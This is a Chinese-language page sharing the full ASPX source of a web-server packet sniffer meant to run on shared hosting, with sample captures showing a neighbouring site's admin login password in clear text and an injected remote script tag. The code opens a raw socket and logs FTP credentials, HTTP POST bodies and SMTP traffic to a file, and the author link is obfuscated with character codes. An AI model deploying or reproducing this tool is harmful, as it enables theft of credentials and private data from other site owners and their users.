原文太啰嗦，不再保留
嗅探数据举例1
同服务器其他网站管理员登陆后台嗅探记录
POST: /Admin/sent.asp HTTP/1.1 Via: 1.0 PROXY Cookie: ASPSESSIONIDASQASTBB=JIBGEFDDOJIALLHIOMHNOMOG Referer: http://www.cntansu.com/Admin/sent.asp Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Host: www.cntansu.com Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */* Accept-Language: zh-cn UA-CPU: x86 Pragma: no-cache Connection: Keep-Alive Content-Length: 13 pass=buqiuren
嗅探数据举例2
同服务器黑客登陆webshell嗅探记录
POST /Admin/sent.asp?Action=plgm&code=<script%20src=http://%25%37%39%2E%73%25%36%39%6E%25%36%31%25%33%31%25%33%36%33%25%32%45%25%36%39%25%36%45%66%25%36%46></script> HTTP/1.1 Via: 1.0 PROXY Cookie: ASPSESSIONIDASQASTBB=JIBGEFDDOJIALLHIOMHNOMOG Referer: http://www.cntansu.com/Admin/sent.asp?Action=plgm&code=<script%20src=http://%25%37%39%2E%73%25%36%39%6E%25%36%31%25%33%31%25%33%36%33%25%32%45%25%36%39%25%36%45%66%25%36%46></script> Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Host: www.cntansu.com Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */* Accept-Language: zh-cn UA-CPU: x86 Pragma: no-cache Connection: Keep-Alive Content-Length: 153
脚本源码及下载
<%@ Page Language="C#" ValidateRequest="false" %>
<%@ Import Namespace="System.Net.Sockets" %>
<%@ Import Namespace="System.Net" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.Collections" %>
<%@ Import Namespace="System.Text" %>
<%@ Import Namespace="System.Net.NetworkInformation" %>
<%@ Import Namespace="System.Threading" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
<title>ASPX服务器Web嗅探工具</title>
</head>
<body>
<script runat="server">
static private Socket mainSocket;//截获所有传入的数据包
private static byte[] byteData = new byte[2048];
private static bool bContinueCapturing = true;//检查数据包是否被捕获的标志
static int stoppackes = 0;
static int port = 0;
static string strIP = null;
static long packets = 0;
static System.IO.FileStream wfs;
static string logfile =null;
static PacketCaptureWriter pktwt;
static string keyword;
static DateTime stoptime = System.DateTime.Now.AddYears(-8);
static Thread th;
static int minisizepacket=0;
static string proException = null;
static Boolean logNextPacket = true;
static Boolean my_s_ftp= false;
static Boolean my_s_http_post = true;
static Boolean my_s_smtp = false;
protected void Page_Load(object sender, EventArgs e)
{
if (logfile == null)
{
logfile = Server.MapPath("w" + System.DateTime.Now.ToFileTime() + ".log");
}
if (stoptime.Year == (System.DateTime.Now.Year - 8))
{
System.DateTime nextDay = System.DateTime.Now.AddDays(1);
stoptime = nextDay;
}
IPHostEntry HosyEntry = Dns.GetHostEntry((Dns.GetHostName()));
if (HosyEntry.AddressList.Length > 0)
{
foreach (IPAddress ip in HosyEntry.AddressList)
{
ddlist.Items.Add(ip.ToString());
}
}
//如不是点击Starts按钮，则输出已经设置过的参数
if (Request.Form["Starts"] == null)
{
this.ddlist.SelectedValue = strIP;
this.txtport.Text = port.ToString();
this.txtMinisize.Text = minisizepacket.ToString();
this.txtkeywords.Text = keyword;
this.txtlogfile.Text = logfile;
this.txtpackets.Text = stoptime.ToString();
this.s_ftp.Checked = my_s_ftp;
this.s_http_post.Checked = my_s_http_post;
this.s_smtp.Checked = my_s_smtp;
}
if (th != null )
{
this.Lb_msg.Text = System.DateTime.Now.ToString()+" 结果:<b>" + th.ThreadState.ToString() +"</b> Packets: "+packets.ToString();
}
else
{
this.Lb_msg.Text = "嗅探尚未开始...";
}
if (Request.Form["Starts"] != null || th != null)
{
this.Starts.Enabled = false;
}
else
{
this.Starts.Enabled = true;
}
Lb_msg2.Text = proException; //错误信息
}
protected void Refresh_Click(object sender, EventArgs e)
{
}
protected void Stop_Click(object sender, EventArgs e)
{
packets = stoppackes;
//stoptime = System.DateTime.Now;
proException += "<br>上次终止时间为" + System.DateTime.Now.ToString();
bContinueCapturing = false;
if (th != null)
{
th.Abort();
th = null;
}
try
{
wfs.Close();
mainSocket.Close();
}
catch (Exception ex)
{
}
}
protected void Pagestart()
{
//记录设置过的参数
strIP = ddlist.SelectedValue;
port = Int32.Parse(txtport.Text);
stoptime = Convert.ToDateTime( txtpackets.Text);
logfile = this.txtlogfile.Text;
keyword = txtkeywords.Text;
minisizepacket = Int32.Parse(txtMinisize.Text);
my_s_ftp = this.s_ftp.Checked;
my_s_http_post = this.s_http_post.Checked;
my_s_smtp = this.s_smtp.Checked;
wfs = System.IO.File.Create(logfile);
pktwt = new PacketCaptureWriter(wfs, LinkLayerType.RawIP);
bContinueCapturing = true;
packets = 0;
Start();
}
private static void Start()
{
byte[] byTrue = new byte[4] { 1, 0, 0, 0 };
byte[] byOut = new byte[4] { 1, 0, 0, 0 };
try
{
bContinueCapturing = true;
mainSocket = new Socket(AddressFamily.InterNetwork, SocketType.Raw, ProtocolType.IP);
mainSocket.Bind(new IPEndPoint(IPAddress.Parse(strIP), 0));
mainSocket.SetSocketOption(SocketOptionLevel.IP, SocketOptionName.HeaderIncluded, true);
mainSocket.IOControl(IOControlCode.ReceiveAll, byTrue, byOut);
}
catch (Exception ex)
{
proException += ex.ToString()+"<BR>"; //静态方法可以访问静态变量proException
}
byteData = new byte[2048];
while (System.DateTime.Now <= stoptime)
{
ParseData(byteData, mainSocket.Receive(byteData));
}
bContinueCapturing = false;
wfs.Close();
mainSocket.Close();
}
protected void Start_Click(object sender, EventArgs e)
{
if (this.txtlogfile.Text == "" || txtpackets.Text.Length < 1 || txtport.Text == "") return;
th = new Thread(new ThreadStart(Pagestart));
th.Start();
//Session["workthread"] = th;
this.Lb_msg.Text = "\r\n嗅探中...";
}
public static ushort Get2Bytes(byte[] ptr, int Index, int Type)
{
ushort u = 0;
if (Type == 0)
{
u = (ushort)ptr[Index++];
u *= 256;
u += (ushort)ptr[Index++];
}
else if (Type == 1)
{
u = (ushort)ptr[++Index];
u *= 256; Index--;
u += (ushort)ptr[Index++]; Index++;
}
return u;
}
private static void ParseData(byte[] byteData, int nReceived)
{
try
{
byte[] nbyte = new byte[nReceived];
Array.Copy(byteData, nbyte, nReceived);
if ((int)nbyte[9] == 6)
{
int sport = Get2Bytes(nbyte, 20,0);
int dport = Get2Bytes(nbyte, 22,0);
String datas=Encoding.Default.GetString(nbyte);
Boolean logIt=false;
if (my_s_ftp)
{
if ((sport == 21 || dport == 21) &&
(datas.IndexOf("USER ") >= 0 || datas.IndexOf("PASS ") >= 0)
)
{
logIt =true;
}
}
if (!logIt && my_s_http_post)
{
if(logNextPacket){
logIt =true;
logNextPacket=false;
}
if (!logIt && datas.IndexOf("POST ")>=0)
{
logIt =true;
logNextPacket=true;
}
}
if (!logIt && my_s_smtp && (dport == 25 || sport == 25))
{
logIt =true;
}
//判断端口和关键字
if (!logIt && (dport == port || sport == port))
{
if (nReceived > minisizepacket)
{
if (keyword != "")
{
if (datas.IndexOf(keyword) >= 0)
{
logIt =true;
}
}
else
{
logIt =true;
}
}
}
if(logIt){
PacketCapture pkt = new PacketCapture(nbyte, nReceived);
pktwt.Write(pkt);
packets++;
}
}
}
catch { }
}
public struct UnixTime
{
public static readonly DateTime MinDateTime = new DateTime(1970, 1, 1, 0, 0, 0);
public static readonly DateTime MaxDateTime = new DateTime(2038, 1, 19, 3, 14, 7);
private readonly int _Value;
public UnixTime(int value)
{
if (value < 0)
throw new ArgumentOutOfRangeException("value");
_Value = value;
}
public int Value
{
get { return _Value; }
}
public DateTime ToDateTime()
{
const long START = 621355968000000000; //1970-1-1 00:00:00
return new DateTime(START + (_Value * (long)10000000)).ToLocalTime();
}
public static UnixTime FromDateTime(DateTime dateTime)
{
if (dateTime < MinDateTime || dateTime > MaxDateTime)
throw new ArgumentOutOfRangeException("dateTime");
TimeSpan span = dateTime.Subtract(MinDateTime);
return new UnixTime((int)span.TotalSeconds);
}
public override string ToString()
{
return ToDateTime().ToString();
}
}
public enum LinkLayerType : uint
{
Null = 0,
Ethernet = 1,
RawIP = 101,
User0 = 147,
User1 = 148,
User2 = 149,
User3 = 150,
User4 = 151,
User5 = 152,
User6 = 153,
User7 = 154,
User8 = 155,
User9 = 156,
User10 = 157,
User11 = 158,
User12 = 159,
User13 = 160,
User14 = 161,
User15 = 162,
}
public sealed class PacketCaptureWriter
{
#region Fields
private const uint MAGIC = 0xA1B2C3D4;
private readonly Stream _BaseStream;
private readonly LinkLayerType _LinkLayerType;
private readonly int _MaxPacketLength;
private readonly BinaryWriter m_Writer;
private bool m_ExistHeader = false;
private int _TimeZone;
private int _CaptureTimestamp;
#endregion
#region Constructors
public PacketCaptureWriter(
Stream baseStream, LinkLayerType linkLayerType,
int maxPacketLength, int captureTimestamp)
{
if (baseStream == null) throw new ArgumentNullException("baseStream");
if (maxPacketLength < 0) throw new ArgumentOutOfRangeException("maxPacketLength");
if (!baseStream.CanWrite) throw new ArgumentException("Cant'Wirte Stream");
_BaseStream = baseStream;
_LinkLayerType = linkLayerType;
_MaxPacketLength = maxPacketLength;
_CaptureTimestamp = captureTimestamp;
m_Writer = new BinaryWriter(_BaseStream);
}
public PacketCaptureWriter(Stream baseStream, LinkLayerType linkLayerType, int captureTimestamp)
: this(baseStream, linkLayerType, 0xFFFF, captureTimestamp)
{
}
public PacketCaptureWriter(Stream baseStream, LinkLayerType linkLayerType)
: this(baseStream, linkLayerType, 0xFFFF, UnixTime.FromDateTime(DateTime.Now).Value)
{
}
#endregion
#region Properties
public short VersionMajor
{
get { return 2; }
}
public short VersionMinjor
{
get { return 4; }
}
public int TimeZone
{
get { return _TimeZone; }
set { _TimeZone = value; }
}
public int CaptureTimestamp
{
get { return _CaptureTimestamp; }
set { _CaptureTimestamp = value; }
}
public Stream BaseStream
{
get { return _BaseStream; }
}
public LinkLayerType LinkLaterType
{
get { return _LinkLayerType; }
}
public int MaxPacketLength
{
get { return _MaxPacketLength; }
}
#endregion
public void Write(PacketCapture packet)
{
CheckHeader();
m_Writer.Write(packet.Timestamp.Value);
m_Writer.Write(packet.Millseconds);
m_Writer.Write(packet.Packet.Count);
m_Writer.Write(packet.RawLength);
m_Writer.Write(packet.Packet.Array, packet.Packet.Offset, packet.Packet.Count);
}
public void Flush()
{
BaseStream.Flush();
}
private void CheckHeader()
{
if (!m_ExistHeader)
{
m_Writer.Write(MAGIC);
m_Writer.Write(VersionMajor);
m_Writer.Write(VersionMinjor);
m_Writer.Write(TimeZone);
m_Writer.Write(CaptureTimestamp);
m_Writer.Write(MaxPacketLength);
m_Writer.Write((uint)LinkLaterType);
m_ExistHeader = true;
}
}
}
public sealed class PacketCapture
{
private readonly UnixTime _Timestamp;
private readonly ArraySegment<byte> _Packet;
private readonly int _RawLength;
private readonly int _Millseconds;
public PacketCapture(ArraySegment<byte> packet, int rawLength, UnixTime timestamp, int millseconds)
{
if (packet.Count > rawLength)
throw new ArgumentException("Length Error", "rawLength");
_Packet = packet;
_Timestamp = timestamp;
_RawLength = rawLength;
_Millseconds = millseconds;
}
public PacketCapture(ArraySegment<byte> packet, int rawLength, DateTime timestamp)
: this(packet, rawLength, UnixTime.FromDateTime(timestamp), 0)
{
}
public PacketCapture(ArraySegment<byte> packet, int rawLength)
: this(packet, rawLength, UnixTime.FromDateTime(DateTime.Today), 0)
{
}
public PacketCapture(ArraySegment<byte> packet)
: this(packet, packet.Count)
{
}
public PacketCapture(byte[] packetData, int offset, int count, int rawLength, UnixTime timestamp, int millseconds)
: this(new ArraySegment<byte>(packetData, offset, count), rawLength, timestamp, millseconds)
{
}
public PacketCapture(byte[] packetData, int offset, int count, int rawLength, DateTime timestamp)
: this(new ArraySegment<byte>(packetData, offset, count), rawLength, UnixTime.FromDateTime(timestamp), 0)
{
}
public PacketCapture(byte[] packetData, int rawLength, UnixTime timestamp, int millseconds)
: this(new ArraySegment<byte>(packetData), rawLength, timestamp, millseconds)
{
}
public PacketCapture(byte[] packetData, int rawLength, DateTime timestamp)
: this(new ArraySegment<byte>(packetData), rawLength, UnixTime.FromDateTime(timestamp), 0)
{
}
public PacketCapture(byte[] packetData, int rawLength)
: this(new ArraySegment<byte>(packetData), rawLength, UnixTime.FromDateTime(DateTime.Today), 0)
{
}
public PacketCapture(byte[] packetData)
: this(packetData, packetData.Length)
{
}
public ArraySegment<byte> Packet
{
get { return _Packet; }
}
public UnixTime Timestamp
{
get { return _Timestamp; }
}
public int Millseconds
{
get { return _Millseconds; }
}
public int RawLength
{
get { return _RawLength; }
}
}
</script>
<style type="text/css">
<!--
a {color: #FF0000;text-decoration: none}
#tt {vertical-align: middle;font-size: 12pt;text-align: center;}
#Ct_2 {padding-left:30px;font-size: 10pt;color: #336699;vertical-align: middle;text-align: left;background-color: aliceblue;border-width: 1px;border-style: solid;border-color: -moz-use-text-color;padding-bottom:10px;}
-->
</style>
<form id="form1" runat="server">
<div id="tt"><b>ASPX服务器WEB嗅探工具</b>    By：<font color=green><a href="javascript:location.href=String.fromCharCode(104,116,116,112,58,47,47,110,97,110,97,46,98,108,97,99,107,98,97,112,46,111,114,103)">Juliet</a></font><br /><br /></div>
<div id="Ct_2" ><table width="100%" ><tr >
<td width="10%">嗅探ip:</td>
<td><asp:DropDownList ID="ddlist" runat="server" width="90%"></asp:DropDownList></td>
</tr><tr >
<td width="10%">自动嗅探: </td>
<td>FTP密码: <asp:CheckBox ID="s_ftp" runat="server" Checked /><br />
HTTP Post数据: <asp:CheckBox ID="s_http_post" runat="server" /><br />
Smtp数据: <asp:CheckBox ID="s_smtp" runat="server" /></td>
</tr><tr>
<td>过滤端口:</td>
<td><asp:TextBox ID="txtport" Text="0" width="90%" runat="server"></asp:TextBox></td>
</tr><tr>
<td>捕获数据包大小下限:</td>
<td><asp:TextBox ID="txtMinisize" Text="0" width="90%" runat="server" ></asp:TextBox></td>
</tr><tr>
<td>捕获关键字:</td>
<td><asp:TextBox ID="txtkeywords" runat="server" width="90%" Text=""></asp:TextBox></td>
</tr><tr>
<td>记录文件:</td>
<td><asp:TextBox ID="txtlogfile" runat="server" width="90%" Text="log.log" ></asp:TextBox></td>
</tr><tr>
<td>终止时间:</td>
<td><asp:TextBox ID="txtpackets" runat="server" width="90%" Text="300"></asp:TextBox></td>
</tr><tr>
<td>控制:</td>
<td width="90%" ><asp:Button ID="Starts" runat="server" OnClick="Start_Click" Text="开始嗅探" />
<asp:Button ID="Button1" runat="server" OnClick="Stop_Click" Text="终止嗅探" />
<asp:Button ID="Button_ref" runat="server" OnClick="Refresh_Click" Text="刷新重置" /><br /></td>
</tr><tr>
<td>状态:</td>
<td width="90%"><div id="s"><asp:Label ID="Lb_msg" runat="server" Text=""></div></asp:Label></td>
</tr><tr>
<td> </td>
<td width="90%"><div id="s"><asp:Label ID="Lb_msg2" runat="server" Text=""></div></asp:Label></td>
</tr></table></div><br /><br /></form>
</body></html>
</aspx>